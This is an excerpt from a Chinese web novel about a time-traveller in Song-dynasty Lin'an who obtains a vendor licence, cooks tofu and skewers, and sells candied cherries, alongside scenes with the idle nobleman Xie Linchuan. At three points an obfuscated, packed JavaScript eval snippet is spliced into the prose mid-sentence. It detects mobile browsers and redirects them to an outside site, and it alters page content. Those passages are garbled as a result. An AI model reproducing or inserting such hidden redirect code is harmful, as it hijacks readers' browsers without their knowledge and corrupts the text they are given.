这是个二进的小院子，正中栽了几棵桂花树，长得倒高大，就是叶子都落了，树上没几片儿，看起来蔫儿答答的。东边角落一堆人围在那儿，看穿着打扮，都是平头百姓，不知在干嘛，吵吵嚷嚷闹得厉害。 没见着工作人员，也没人管，江清澜又往里走，进了第二进院子，嘿，这下对了，迎面而来的屋子上就挂着个“牙帖”的牌子，门也半开着。 “有人吗？”江清澜一边试探性地问着，一边迈进了屋。 这个屋子还挺大的，看起来有三个办公的位置。两处都没人，只有靠窗的那处，摞得极高的书卷之后，露出了一个人的衣服。 那是白色葵袍，只在袍脚裁了窄窄一溜的紫色，洒金提花的料子让天光一照，反射着璀璨夺目，看着很是贵气。 偏那人两条长腿随意耷拉着，一腿曲着，一腿伸直，看起来相当放松。 团团低声嘀咕：“阿姐，他的腿好长啊！” “嘘——”江清澜以手点唇，示意她别乱说话，又靠近了一步，试着招呼，“郎君？” 走近了，才发现那人的手趴在桌子上，脸又埋在胳膊里，竟是睡着了。桌子上有几本翻开的书，白瓷杯子里，茶水还冒着袅袅热气。 江清澜又好气又好笑：喝茶聊天看小报，上班时间睡大觉，这谁家领导的亲戚混日子来了？ 8. 红烧豆腐 谢临川睡得正香，梦见自己在齐云社和火焰队的蹴鞠决赛中，正准备来个倒挂金钩。听见有人叫他。 他勉强抬起沉重的脑袋，乱恍了一眼，见是一大一小两个女娘，便又把头趴了下去：“干嘛？” 江清澜并未看清那人脸，只觉声音还挺好听，见他又趴下去了，一副懒扯扯混日子的模样，只好说： “妾是来办牙帖的，看这屋子外面挂着‘牙帖’的牌子，所以进来了。” 谢临川用手一指，示意她在门外。 但江清澜不解，门外……门外并无工作人员啊。正要再问，只见一个青年郎君提起青色袍子，飞快跑进来。 “娘子是办牙帖？”这人一张团团脸，脸上堆着笑，看起来很是和气。 江清澜心头却是咯噔一声，这不就是前日在建隆寺外撵她那城管！幸而他没有认出自己来，她就勉强一笑：“正是。” “劳娘子这边坐。”那人说着，引着她往屋子另一处案牍走去。两人坐下，那位郎君正要拿纸笔，看团团玉雪可爱，从口袋里摸出一块饴糖。“来，小姑娘吃糖。” 哎呀，这城管不止没有想起她偷税漏税的事，还挺亲民！江清澜心里乐开了花。 团团甜甜一笑：“谢谢阿兄。” “不谢不谢。”郎君说完，才对江清澜道，“我姓杨，娘子唤我杨郎君就行。”这边铺开纸，蘸了墨，准备写字了，问，“娘子姓甚名谁，家住何处，准备办何种牙帖？” 江清澜心道：这个公务员着实不错，这是财赋司，一般人都想人叫他官职的，比如杨司长、杨司员。这人只说叫郎君，说明不喜欢打官腔。 她便口齿清楚地说：“妾姓江，名清澜。如今，在城里青莲庵挂单。准备办一个饮食的牙帖。” “哟，这可不好办。”杨郎君搁下笔，细细说来。 “第一个，办饮食牙帖，先得去城里的诊所开帖子，证明无疫病。” “第二个，娘子尚无固定住所，需要一个有住房的保人作保，他在保书签字画押，你才办得了牙帖。” “是这样……”江清澜嗫嚅道。 其实，她有心理准备，没打算一次性把经营许可证办好，上辈子，信息那么发达，她调个档，还跑了好几趟呢。 杨郎君看她神色，又说： “我看娘子是生手，再与你介绍一下牙帖的种类，你回去考虑好了，下次拿了大夫的帖子和保人的保书，直接办了就是，免得再跑一趟。” 江清澜点点头，心里为这位体贴的公务员点赞。 “咱们这儿牙帖也有好几种。有豪奢型、普通型、紧凑型的，娘子刚开始做生意，选紧凑型的就成。” “除了规格之分，还有固定与流动之分。” “固定摊位，各个地方不同的。比如中瓦的紧凑型摊子，三钱一个月。偏僻一些的地方，比如余杭门那边，就便宜些，一钱银子。这个是依地段来定的价。” “另一种流动的，要四钱银子一月，不拘在什么地方，中瓦呀、西湖边上呀、钱塘湖边呀、州桥夜市呀，只要有咱们临安府署官设的摊子，都可以用。” 实际上，中瓦是临安城里最繁华的地方，这里的摊位才三钱银子，流动摊位却要四钱，有些不划算。但江清澜有不同的打算，问：“蹴鞠比赛场里有官设摊子吗？” “有倒是有，但蹴鞠场一般就卖瓜子、饮子之类的，都有自己的售卖专人，咱们官设的，租出去的不多。” 江清澜点头，看来她之前想得还是太简单了，照杨郎君说来，蹴鞠场里的销路几乎是垄断了的。但到底怎样，要去看看才知道。 杨郎君又说：“还有一点，若是商户积极缴纳牙帖费，还能抽奖。” “抽奖？”江清澜十分意外，这个宋代的财赋司，真会玩儿啊。 “正是。”杨郎君笑着说，“司里每月有一个免费的名额，十二个月按时、足额缴纳牙帖费的，都可以来抽奖。方才，便是像你这样的一位女娘抽中了。” 江清澜这才知道，外面院子闹哄哄的，竟是在办这事儿，便将这奇巧心思夸了一通，又感谢杨郎君细致的介绍。 这团团脸的杨公务员竟不好意思了，脸红红的。 那边说得热烈，谢临川这边却无聊得紧。 他本来正在做美梦，让江清澜吵醒了，只好百无聊赖地翻着账本看。陡然，耳朵里钻进“蹴鞠”两个字，他霎时警醒了，站起身来。 那位女娘着茶白窄袖布襦、草绿色百迭长裙，头上半分装饰也没有，唯有眼睛清明如泉，似乎内心极有计较。 她正牵了脸蛋儿圆圆的小女娘，往门这边过来。 谢临川心道：看起来就是个普通商户女，也不知她跟“蹴鞠”有什么关系。 江清澜从那边起身时，就见方才睡觉那关系户已站了起来，她要出门，必须从他附近过，怎么也得打个招呼。 他的身量确实很高，窄窄的紫色原来不止在袍脚，在圆领衣口、袖口也有一溜，实在英气逼人。 走近时，她抬头，看清了他的脸，颔首，耳根子有点儿红，拉着团团想快些走。团团却僵直着不动，满脸通红，眼神直直的，嘴巴微张，已然是看呆了。 江清澜大囧，猛一使力，把人半拖半拽着弄走了。 出了临安府署，团团还意犹未尽：“阿姐，刚才那个哥哥也太好看了吧。” 小姑娘说起来，还红着脸，眼睛冒着星星，一脸花痴模样。 江清澜轻轻敲她头：“杨郎君给你糖吃了，也没听你夸他一句。” “杨郎君的糖甜，人不好看。”小孩子能有什么坏心思呢，脱口而出就是大实话。 江清澜捂嘴笑，为杨郎君的糖不值，但她也承认，那个关系户，长得确实好看。 时人尚文，审美也偏阴柔，男子簪花敷粉者比比皆是。 但今天这个人，是一种天然的、不加修饰的好看，他的眼睛、鼻子都长得恰当好处，增减一分，都失了完美。 古希腊的芙丽涅，在法庭的审判中，因长得太美而被宣判无罪——人们对长得好看的人，总是宽容些。 江清澜想，上班睡觉……睡就睡吧，谁让人家长得好看呢。 …… 她们从府署出来，没直接回青莲庵，先去诊所请大夫问了诊，开了并无疫病的证明。 又请路边的写字先生代拟了保书——其实，作为古代文学的学霸，江清澜也会写毛笔字，写得还不赖，但繁体字她会认不会写，怕起笔就暴露了。 原身家里是书香世家，当然会教女儿写字，团团问她怎么不自己写，她推说在陆家晕厥那次伤了脑子，好多字想不起来了，小孩儿心思单纯，也不怀疑。 取了大夫的帖子和保书，还买了些日用品，这才回青莲庵去。 走到路上，见有卖樱桃的，一颗一颗小小的，果肉殷红如玛瑙，在两片小小的绿叶衬托下，十分可爱。 樱桃娇气，在树上一红，鸟雀先吃了大半，小心翼翼地采摘、运输，损耗又折了一半，仅存的那点点才能拿来卖，还不能久放，几天便坏了。 是以，樱桃的价格一直很高。唐人中进士后，有请吃“樱桃宴”的传统，但也仅限达官贵人，贫穷的举子是请不起的。 樱桃价格贵，但实在精致好看，包装一下，便能卖出几倍的利润。这几天又在外面吃炸鸡、又搬家的，还要交牙帖的钱，都是出没有进，是要考虑挣点儿补贴。 江清澜一咬牙，花钱买了好些樱桃，决定今晚上去中瓦试试水。 回了青莲庵，妥善安置了这些金贵的樱桃们，江清澜开始做晚饭。今天走了很多路，需要补充蛋白质，但在庵里不能吃肉，她灵机一动，买了块豆腐来炒。 比起现代的豆腐，此时的豆腐更黑，气孔也较多，看上去比较粗糙。 好在制作工艺已十分普及，所以她们姐妹两个吃的一小块儿豆腐，只需三文钱。 虽然便宜，营养价值也不低。豆腐是黄豆做成的，含有丰富的植物蛋白，是素食主义者补充蛋白质的重要来源，所以那天建隆寺的烩菜里，也加了豆腐。 一般饭馆里做红烧豆腐，讲究的是嫩而不烂，也就是，豆腐的口感滑嫩，但形状仍是小方块，没有炒碎。 但江清澜做的家常版红烧豆腐不一样，她特意炒得碎碎的，炒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626220|172371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成豆腐渣。 这是因为豆腐本身味道寡淡，需要借用豆酱、川椒粉、酱油等调料的味儿。 而炒得越烂，入味越深，是以，江清澜的红烧豆腐虽卖相不好，却是极受欢迎的。 起锅烧油，油热下豆酱与拍扁了的蒜苗头，两种调料让热油一激，香气四溢。 左右是她们姐妹两个自己吃，江清澜也懒得放在手上细细打了，直接将一整块豆腐滑入热油之中，铁铲乱炒一通。 热油里进了含水的豆腐，刺啦刺啦地响，全部炒烂了，再放些酱油、蒜苗段，豆腐渣们瞬间就变成了黄褐色，绿油油的蒜苗点缀其中，令人食欲大增。 这还没完，还有一个极为关键的部分——勾水芡粉。 这可是个技术活儿，勾多了呢，容易糊锅不说，豆腐里水渣渣的，不好吃。勾少了呢，豆腐就不够滑嫩，欠了口感。成功与否，全在厨师的经验。 江清澜做惯了的，随手调个芡汁，沿着菜一圈滑入锅中，铲匀起锅，红烧豆腐就成了。 照江清澜自己来说，缺了点儿豆瓣酱，所以颜色不够红，味道欠了醇厚。 但这个时代还没有辣椒，只有类似的川椒，味道还是有些不一样的。 她自己不满意，另一个食客——团团好像不这么认为。 她用勺子把豆腐渣舀起来盖在饭上，让每颗米饭都浸在红红褐褐的油水里，用筷子一拌，吃了起来，怂里怂气地夸赞：“阿姐，你做饭越来越好吃了。” 江清澜记得，原身的厨艺尚可，忙说： “听大夫说，脑子受了刺激的人，会有些改变。阿姐上次晕厥后，写字啊绣花那些活儿不怎么会做，但是做饭好像越来越顺手了，不知道是不是这个情况。” 团团年纪小，口腹之欲当然排第一：“这样好得很，阿姐做饭，要越做越顺手哦！” 江清澜笑，心道：小孩就是好骗。又想起杨郎君的糖——明日还得去府署。 此时，杨郎君也快下值了。整理好账本、名帖，伸个懒腰，站起身来：哎哟，今天可累坏了，这就回家吃饭去咯。 正要锁小门，忽见得司长急急往这边走了过来，与他并行的是——府尹大人！ 杨郎君退在旁边，深深一揖。 “杨松，过来，府尹大人有话问你。”司长严肃地说。 赵府尹站在之前谢临川的桌子前：“这便是谢——”立即改口，“言郎君的案牍？” 东平王之前交代了，他的小儿子来财赋司历练，要行事低调，连姓也要改成“言”——谢的偏旁，以免让人认出来。 杨松道：“正是。” “言郎君今儿个上值，公务如何？” “呃……这个……”杨松支支吾吾的。 司长皱眉，怒道：“什么这个那个的，府尹大人问话，据实回答！” 杨松脱口而出： “言郎君早上来的，先四处逛了逛，然后就趴在案牍上睡觉，我还给他上了茶。” “中午骑马出去了。下午回来，使劲儿踢院子里那几棵桂花树，然后又趴在案牍睡觉，我又给他上了茶。方才，他骑着马走了。” 司长心里嘀咕：难怪他的桂花树蔫答答的，叶子都快没了。 赵府尹愣了下，接着“啪”一掌拍在司长的肩膀上，把后者吓得一哆嗦，他自己倒哈哈大笑：“睡觉好，睡觉好。” 又对杨松说：“以后就这么办。你做你的，他做他的，睡觉也行，踢树也可，只要不闹事，怎么都行。” 看四下冷秋秋的，一个人也没有，又问司长：“财赋司不会就他一个人吧？” 司长忙道：“不是不是。下官前日得了大人的消息，马上做了准备，把几个笨的调走了，这位杨郎君是最稳妥的。明日，还有几个稳妥的调来。” 赵府尹点点头：“办得好！” 等府尹、司长走了，杨松擦擦脑门儿的汗，心道：这位言郎君是什么来头，竟劳得府尹大人亲自过问？不会……不会是个皇子吧？ 以前，也有皇子来临安府署历练的，只没来过财赋司这般小的地方。 这样一想，他脑门儿上的汗更多了。 9. 甜樱桃 谢临川出了临安府署，却没去西山蹴鞠场，而是去了北边的碧云岭一趟。 他骑马跑得飞快，又是提前走的，这会儿回王府，虽比下值时间晚了点，也糊弄得过去。 他心道：去上值也有好处，没人盯着，今天在府署踢桂花树，小腿与足尖的力量得到了训练，下了值，去做别的事，也无人知晓。 吃了饭，去祖母处请安。谢老夫人捧着个木匣子，喜笑颜开，见他来，献宝一般，指给他看：“三郎快来，瞧这樱桃多么可爱。” 此时的樱桃不易储存，除了应季时吃些新鲜的，往往是做成蜜饯。味道嘛，倒也不错，只是模样不太好看。水果脱了水，又用糖腌制了那么久，都成了黑乎乎的。 这些樱桃不一样。一颗颗小巧玲珑的果子整齐排在盒中，皆是鲜红欲滴的颜色。 尤其是，樱桃表面上还裹了亮晶晶的一层，在日光的照耀下闪闪发光。模样如此精致，包装如此郑重，看上去不像吃食，倒像是宝石。 而且，每颗樱桃下面都串了个小竹签，磨得光溜溜的，一丝毛刺儿也没有，应是方便人取食之用。 谢老夫人拿起一个给他：“不光模样好看，味道也好呢。” 谢临川本不喜甜食，闻言也尝了一颗。 原来，樱桃表面上那层亮晶晶的，竟是凝固了的糖汁。 樱桃再红，也是有些果酸味儿的，软烂多汁。这些凝固了的糖汁既增加了甜蜜之味，还丰富了口感——嚼起来，微微有些粘牙，又仿佛嚼薄冰一般脆蹦作响。 谢临川道：“着实心思奇巧。” 谢老夫人又吃一颗： “可不是，夏荫在中瓦买的。” “她早就听说，前几日，有个女娘在建隆寺卖这种水果串，去找了好几天也没碰着。嘿，不曾想，今天在中瓦遇上了，还是樱桃——如果是青梅，我这牙可受不了。” 谢临川口气大：“把人招进来，不管樱桃还是荔枝，祖母想吃什么就让她做什么。” 谢老夫人回说：“我倒是想，但是夏荫说，那女娘是抱着簸箕卖的，没有固定摊位。一时半会儿，恐怕想找也不容易找着。” 说到摊位，想起了孙子的新差事，又问：“对了，你今天去财赋司如何？”她倒不是担心孙子被人欺负，而是担心他欺负别人。 谢临川取下竹签，把一颗冰糖樱桃抛得高高的，再一下吞入口中，用锦帕擦了手指：“还不错。有很多商户来办事，闹哄哄的。” 他想了想，觉得要再加点细节才显得真实，“还有一个女娘，带个小姑娘，来办……办牙帖。” “噢？”谢老夫人来了兴趣，“你与她办的？” 谢临川大言不惭：“对啊！” 谢老夫人放下樱桃：“那我问问你，在中瓦办一个卖饮子的牙帖，需多少银子。” 谢临川又拿一串樱桃在手中把玩。银子，办牙帖还要银子？他活了这十几年，从来就没关心过这些事。 把樱桃抛进嘴里，他胡乱说了个他觉得很小的数目：“五十两。” 谢老夫人哈哈大笑，捧着肚子吸气。 “得了得了，这话在我面前说说就行。”又给孙子出主意，“若是你爹问起这事来，你只管说心里想的数字的百中之一。” “百中之一？”谢临川掰掰手指，“那不是只有五……五钱银子？” “差不离。” 谢老夫人年轻时是白手起家，对底层百姓的生活比东平王两父子都清楚。 “你爹也未必知道具体的数字，糊弄过去就行。” 果然，又坐了会儿，夏荫来禀告：“老祖宗，王爷请世子去。” 谢临川拍拍手，站起来，狡黠地同祖母眨了眨眼睛。 —— 今天去临安府署，江清澜可是做了充分的准备。 首先，大夫的帖子开好了。 其次，保书，昨天晚上她在中瓦卖樱桃后，专门去武林北路找了王蕙娘，带了好看的樱桃作礼物。王蕙娘大方，看也没看便签了。 此时，她把团团留在青莲庵，独个儿来府署，便是想自己一个人走得更快。速战速决，早拿证儿，早开张，早早挣大钱！ 到了府署财赋司，还是昨天那样，院子里静悄悄，几棵桂花树光秃秃的，树上的叶子更少了。 到了那屋子里，办事人员多了几个，都坐在各自案牍后，有条不紊地忙碌着。 只有一个人，趴着在睡觉，两条长腿还是那样耷拉着。 杨郎君在那边角落里，江清澜快步往那边去。她是来办事的，不是来看帅哥的，办事当然得找杨郎君。 “站住！”偏有人不如她的意。 她只好转过身来，见睡觉的关系户竟然站了起来，使劲儿眨眨眼，像睡糊涂了似的，密匝匝的睫毛上下翻动。 他今日倒低调，穿了杨郎君他们一般的青色袍子，戴了黑色璞头——应该是工作服吧。只是他身姿挺拔，穿着就是比杨郎君好看。 他皱着眉头说：“你是来办……？” “牙帖。”江清澜好心提醒。 “对对。”谢临川想起来了，撸了两下袖子，大包大揽，“过来，我与你办！” 江清澜看那边一眼，嗫嚅道：“妾想让杨郎君……” 那边坐着的杨松伸长了脖子，也往这边瞅着。 谢临川看这二人你情我愿的模样，怒了，语气生硬：“他能办我不能办？过来！” 上辈子，江清澜最怕去什么局什么所办事，跑的次数多不说，有些工作人员脸臭得像你欠他钱似的。偏你要办事，又只能听他的，予取予求。 上次遇到杨郎君，她才放松下来。哪里知道，今天又让这关系户盯上了。 江清澜在心里叹口气，认命了。 谢临川把牙帖本翻开，毛笔饱蘸了墨：“姓名。” “江清澜。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626221|172371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢临川却没急着下笔，抬起头看了她一眼，表情有点儿严肃：“你这姓不错。”说罢，刷刷几笔，在本子上写下三个大字。 江清澜哪里知道她的姓有什么不错的，临安城里，姓江的人多了去了。未及多想，看了他写的字，冷不丁地扑哧一声笑了出来。 谢临川错愕：“写错了？”是这样写的啊，他虽然读书不行，字还是不会写错的。 江清澜忍住笑，连忙否认：“不是不是，写对了的。” 她笑的是这人莽莽撞撞的笔法。空格那般小，是让人写簪花小楷的，这人上去就是三个钢叉大字，超出了空格不说，还把下面两行的字都涂黑了。 而且，他写的吧，不能说难看，就是不像写字，像在舞剑。 谢临川倒干得兴致勃勃：“用途？” “饮食。” 又是铁画银钩的两个大字。 谢临川写完，去屋子中间的柜子里，取商户存底的“牙帖”单子，见有好几种，随手拿起一张好看的——带莲枝花纹的。 回了自己的案牍，把方才的姓名与用途誊了上去，再潇洒地把单子一伸说：“拿去。” 江清澜接过，小心翼翼地问：“办完了？” “办完了。”谢临川信心满满，“你可以走了。” 江清澜拿出碎银子：“昨日杨郎君说，办紧凑型流动摊位，是四钱银子。” 谢临川抱臂，斜乜一眼：“噢，对。”收了钱，半点不羞愧。 江清澜又拿出大夫的证明和王蕙娘的保书：“昨天杨郎君说，还需要这两个东西。” “噢，是吗？”谢临川皱眉。 江清澜肯定：“是。” …… 出了财赋司，江清澜心道：真是个草包……好在，她的牙帖到底是办下来了，从此以后就是合法商人了，就有白花花的银子可以赚了。 想到银子，她其他什么也不管了，心里像有小鹿在乱撞般，怦怦跳得厉害。 —— 临安府署，几个郎君在算账。牙帖与银子一一对应，把今日的账对齐了，就可以散值了。 但是，账就是对不齐，算来算去，总少了一两六钱银子。 有人灵机一动：“会不会是收错了钱？高档位的牙帖，收成了低档位的钱？” 几个人又翻开牙帖本子，一条条紧锣密鼓地核对起来。到了“江清澜”这一栏，几人傻眼了。 收了四钱银子，少的却是价值二两银子的、莲枝花纹的牙帖单子。底本上，那些个银钩铁画的钢叉大字，绝不是他们这些中过举的人写得出来的。 一人说：“是言……” 杨松闻言，猛然咳嗽： “什么言不言的，今日我们做错了账，这亏空我出一两银子，剩下的从你们几个俸禄里平分。事情就此了了，谁也不准出去说。” “知道了。”几人都是司长特意调来的，很是稳妥，虽然都愁眉苦脸着。 10. 油卤串串（一） 上辈子，江清澜的外婆家在成都。小时候的寒暑假，妈妈总要带她去外婆家住个十天半个月。 那时候她就发现了，成都的串串特别多。 什么叫串串？便是像糖葫芦一般，将食物串在一根竹签子上，随吃随取。 成都的串串，细分起来，种类又多了。 最常见的是火锅串串，桌子上摆一口锅，或红汤或鸳鸯锅。 串好的毛肚、鸡翅、牛肉、香肠、藕片、海带等摆在另一个地方。 食客们自己拿铁盘子，取用想吃的菜，下自己桌上的锅去煮。 煮的时候，食材在锅里，长长的竹签子却伸在外面，看起来乱糟糟的一把，颇为热闹。 另有一种，叫冷锅串串，顾名思义，锅是冷的，菜却是热的。顾客的桌子上不生火，店家在屋里煮好了，直接端出来，食客开吃。 还有一种钵钵鸡，是更冷的冷锅串串。 煮好的串串，浸在装有秘制料汁的大青瓷钵里。 因为钵太大了，串串放进去要往下滑，商家往往会在钵里放一个装满冰的塑料瓶。 这样一来，串串们有了依靠，不会下滑，冰块也会让给食物施加冷气，夏天吃来更爽口。 以上这三种，不管有火没火，有一个共同点，便是串串都是浸在油汪汪的料汁中的。 近年来，成都大大小小的地铁口又出现了一种油卤串串，是干的，顾客拿着在路上边走边吃，不会汁水横流，更方便。 江清澜分析她现在的情况： 中瓦的商品琳琅满目，她要吸人眼球，必须做一些新奇的玩意儿。 冰糖水果串当然也要做，但这个东西是零嘴，小孩子更偏爱一些，市场消费力不足。另外，她们在青莲寺挂单，不可用荤食。 想来想去，新奇、便宜、方便的素菜，便是油卤串串。 油卤油卤，顾名思义，是用油卤出来的。听起来难做，其实简单。 常做菜的人知道，中餐里，凡是带炒字的，是最麻烦的，而蒸、煮、卤都相对简单。 卤，最重要的便是卤水底料。锅里倒菜籽油，将大葱、八角、桂叶、茴香等种种香料入锅中炸香。 这个时代，香料倒丰富，只是麻辣味由茱萸和川椒提供，没有现代辣椒花椒够味儿。 但此时，人们的口味相对清淡，茱萸的辣度也够了。 簸箕里的川椒与茱萸全部倒入油锅之中，锅里满目皆红，麻辣香气也被激发了出来。 旁边的团团被熏得打了个喷嚏，揉揉鼻子，皱眉道：“阿姐，好呛人啊，这是在做什么？” 原身和团团的父亲是正五品，虽说在权贵满地的临安算不得高官，但也是清贵之人。 是以，江家崇尚清淡的口味，团团闻不惯这般呛人的气味。 江清澜道：“自然是做火锅底料，这东西要熬得久，我这次就一并做了，以后无论是卤串串，还是吃火锅，做……” 她四下看了一眼，见尼姑师父们都忙着自己的事，低声说：“做红烧猪蹄之类的，都好用得很。” 团团一听红烧猪蹄，眼睛都亮了，肉眼可见地吞了一口唾沫。 江清澜笑道：“别急，等咱们以后出去赁了屋子，天天吃肉。” 一边说着，手上却不停，用铁铲持续不停搅动着锅里的底料。 小火慢熬，时间越久，味道越香，团团起先还说呛，现在想着猪蹄，又闻着香气，口水都要流出来了。 还有些小尼姑，都伸长了脖子往这边瞧。 做生意就是要宣传，人越多越好。 江清澜不怕围观，麻利地舀出部分底料，放在一边冷置。又在剩下的底料中加水，并一个混合了草果、茴香、桂皮等十几种香料的大卤包。 熬制到一定时间后，放入事先用竹签串好的豆皮、豆腐、木耳、藕片、萝卜等，煮不了多久，素串串们便可出锅了。 团团当然又是第一个吃客，拿起一串热气腾腾的豆皮就往嘴里塞。 还未入口便先是香——十几种卤料混合而成的浓浓香气。入口则是烫，又辣又麻又烫，辣和麻又会加剧烫。 团团先吃得美滋滋的，接着脸倏忽红了，满厨房跺脚乱走，嘶嘶吸气：“啊啊啊，好辣！好辣！” 江清澜赶紧递给她一个冰糖李子串，小姑娘三两口嚼了，酸酸的果汁四溢、甜甜的糖衣嚼烂了，这才止了辣。 也真是怪，团团的脸还红着，只是舌头不那么痛了，手又往素菜串串那边伸去了。 江清澜笑她：“这下不怕辣了？” 这次，团团摸了一串藕片：“怕啊，又怕又想吃，阿姐，你到底在里面放了什么东西？” 真也没放什么特别的东西，就是辣。辣是一种痛觉，却会让舌头上瘾。 如今，达官贵人喜欢吃清淡甜口的饮食，但她的摊子是开在中瓦的，普通人更多，更需要辣味的刺激。 并且，她将甜味的水果串与辣味的素菜串，放在一起卖，甜辣相替，食之不尽。 时近黄昏了，江清澜赶紧将厨房收拾好，又把今晚要售卖的辣串串与甜串串各放在一个食盒里，与团团一起，拎着往中瓦走去。 幸好现在住在青莲庵了，离得近，不然就她这副娇弱小身板，拎一段路，就脚耙手软了。 到了中瓦，按照牙帖上的编号找到了位置。 团团瞪着圆圆的眼睛问：“阿姐，这个摊子是紧凑型的？” 江清澜也惊呆了。 高高的摊檐上挂了一排红灯笼，摊前伸出了一溜宽宽的木板，擦得干干净净的。 摊位里面，炉子、蒸笼、锅碗瓢盆一应俱全。里面竟然还有一个内间，置了一张竹躺椅，应是给小贩小憩用的。 相比之下，不远处的那个摊子就“紧凑”得多了。 一个木制的顶子，下面一块木板，摊子里面堪堪能站下两人。 此外，她们的摊位位置也很好，在中瓦傀儡戏、杂技台的对面。 此时时间尚早，人还不多，但可以想见，晚上对面游人如织的时候，这里的客流量有多大。 如此一对比，江清澜便想通了关窍。 又想起去临安府署那天，那个非要给她办牙帖的帅哥关系户，忍住笑意，在心里道： 对不起，你不是草包，不止长得帅，还是大大的好人！ 正所谓：“天予弗取，反受其咎，时至不行，反受其殃。”[1]有便宜不占白不占！ 江清澜立刻把冰糖水果串、油卤串串拿出来，摆了个琳琅满目。 —— 东平王府里，谢临川哪里知道有人在感谢他，冷着一张脸，陪宝庆公主在园子里走来走去，百无聊赖。 方才，他散了值，正要去蹴鞠场，府里的平林骑马来报，说王妃让他回府，有要事。 待回了府，才知道是宝庆公主出宫去庙里上香，路过东平王府，进来盘桓了一下。 为着她，东平王妃把谢临川叫回来了。 满城皆知宝庆公主的心思。 前几年，宫里蹴鞠赛，谢临川夺了球王。宝庆公主与福安公主为谁去献花的事儿，打起架来。福安公主把宝庆公主的头发揪断了一大把。 闹到官家那里去，官家把两人都骂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626222|172371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，看二人伤势，还是多站在宝庆公主这一边些。 福安公主委屈：“我腿上现在都青着，她掐的。” 官家最是重礼，当场怒目：“大庭广众，你一个女儿家，这说的什么话？！”对福安公主失了耐心。 后来，到底福安公主年纪大些，等不了谢小郎君了，下降去了苏州李家。宝庆公主年纪小，也不着急，就这样耗着。 如今，东平王府花园里，簇簇芍药花粉红娇艳。为余晖金光浸染，愈发明艳可爱。 宝庆公主赵芸慧掐了一朵芍药花在手上把玩，对谢临川道： “谢世子，临安城里别的郎君都簪花，你为什么不簪？” 谢临川的心思早在九霄云外了，随口敷衍： “我长得黑，簪花不好看。”他想了想，又道，“你三哥建府后，还常入宫吗？” 宝庆公主与三皇子赵侃同为陈贵妃所出，二人都很受承平帝宠爱。这些日子，三皇子年岁到了，出宫别住去了。 宝庆公主偷偷看一眼他的脸，心里怦怦跳，哪里想得起别的，红着脸道： “三哥常去拜见母妃的，父皇还夸他孝顺。”转身佯装去掐另一朵花，心道：哪里黑了，只是，不像那些敷粉的郎君那样白而已。 时下流行清淡妆容，便是男子，也得涂脂抹粉、簪花佩玉，才算是风流雅士。只宝庆公主见了谢临川蹴鞠场上的飒爽英姿，眼里如何也看不见其他人了。 “谢世子，你就试试……” 宝庆公主想把手里的花交给谢临川，让他簪了试一试，转身一看，哪里还有人，他已经走到池塘那边去了。 宝庆公主春心错付，噘着嘴，有点儿不高兴。可到了谢临川身边，见他那通身的风流俊秀，复又笑盈盈的。 “闲逛着也无聊，不如你教我蹴鞠？” “蹴鞠？” 谢临川听了承平帝夸三皇子，有些怔怔的，听到蹴鞠两个字，眼睛一亮——说到这事儿，那他可就有兴趣了，赶紧叫人拿了球来。 不等宝庆公主说话，他撩起前摆扎在腰带里，又是颠球、又是佯装带球过人，还把远处芍药花丛中的一个小洞当风流眼，踢进了好几个球。 他倒也没忘了要教公主踢球，偶尔也说几句话。但他那话，还不如不说。 “站远些，蹴鞠掀起的尘土迷了眼可别怪我！” “哎呀，你这足弓没力啊，回去练练踢树！” “腿抬高些！” 甚至，还拿了一根树枝，把宝庆公主的小腿狠抽了几下。 到后来，似乎是放弃了，彻底不理她了，一个人带着球越跑越远。 其实，本朝蹴鞠风气大盛，宫廷贵妇们经常一起玩球。 宝庆公主也会踢几下，不说是妇人里最好的，也不算差。到了谢临川这里，竟是朽木不可雕了。 看着谢临川一个人在远处玩得不亦乐乎，宝庆公主很生气。她的脸红红的，圆圆杏眼中盈满了水色，也不知是愤怒多些，还是羞愧多些。 东平王妃梁氏知道她小儿子哄不了公主，一直在后面察言观色，见此情形，赶紧上前来软语安慰： “殿下，你别生气，临川他是个榆木脑袋。” 宝庆公主虽然身份贵重，但在与谢临川的事情上，总是把自己放得很低，如今王妃又亲自来安慰，她便自己找台阶下了： “也是，是我自己提议蹴鞠的。” 梁氏继续示好： “到了晚上，夜市才热闹。吃了晚饭，让临川陪你去中瓦走走，那里的傀儡戏可有意思了。” 宝庆公主含着泪，点了点头。 11. 油卤串串（二） 中瓦，火树银花不夜天。 杨松站在街边，与对面几个青色官服的人挥挥手，转身没入人流。 今夜，是府署财赋司、街道司协同执法的日子。 街道司负责查看摊贩是否占道经营、是否有火灾隐患，等等。 